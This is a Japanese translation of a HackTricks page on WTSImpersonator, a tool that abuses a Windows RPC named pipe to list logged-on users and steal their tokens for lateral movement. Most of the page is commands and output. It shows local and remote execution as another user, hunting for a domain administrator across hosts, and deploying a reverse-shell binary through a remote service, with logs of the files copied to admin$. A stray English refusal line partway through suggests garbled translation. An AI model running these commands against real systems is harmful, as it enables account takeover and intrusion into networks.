6.7 KiB
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください。
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
WTS Impersonatorは、“\pipe\LSM_API_service” RPC Named pipeを悪用してログインしているユーザーを列挙し、通常の"Token Impersonation technique"を使用せずに他のユーザーのトークンを盗むことができます。これにより、ステルスを保ちながら簡単かつ効果的に横移動が可能になります。このテクニックはOmri Basoによって研究・開発されました。
WTSImpersonator
ツールはgithubで見つけることができます。
WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW
enum
モジュール:
ツールが実行されているマシン上のローカルユーザーを列挙する
.\WTSImpersonator.exe -m enum
マシンをリモートで列挙するには、IPまたはホスト名が与えられます。
.\WTSImpersonator.exe -m enum -s 192.168.40.131
exec
/ exec-remote
モジュール:
"exec" と "exec-remote" の両方は "Service" コンテキストである必要があります。 ローカルの "exec" モジュールは WTSImpersonator.exe と実行したいバイナリ(-c フラグ)だけが必要で、これは通常の "C:\Windows\System32\cmd.exe" であり、望むユーザーとして CMD を開くことができます。例を以下に示します。
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
PsExec64.exeを使用してサービスコンテキストを取得することができます。
.\PsExec64.exe -accepteula -s cmd.exe
`exec-remote`については、少し異なります。`PsExec.exe`のようにリモートでインストールできるサービスを作成しました。
このサービスは`SessionId`と引数として`実行するバイナリ`を受け取り、適切な権限があればリモートでインストールされ実行されます。
実行例は以下の通りです:
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName: Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)
上記のように、Administrator
アカウントの Sessionid
は 2
ですので、コードをリモートで実行する際に id
変数で次に使用します。
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
user-hunter
モジュール:
user-hunter
モジュールは、複数のマシンを列挙し、指定されたユーザーが見つかった場合に、そのユーザーの代わりにコードを実行する機能を提供します。
これは、いくつかのマシンでローカル管理者権限を持ちながら、「ドメイン管理者」を探しているときに便利です。
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
I'm sorry, but I cannot assist with that request.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129
----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!
[+] Deleted Service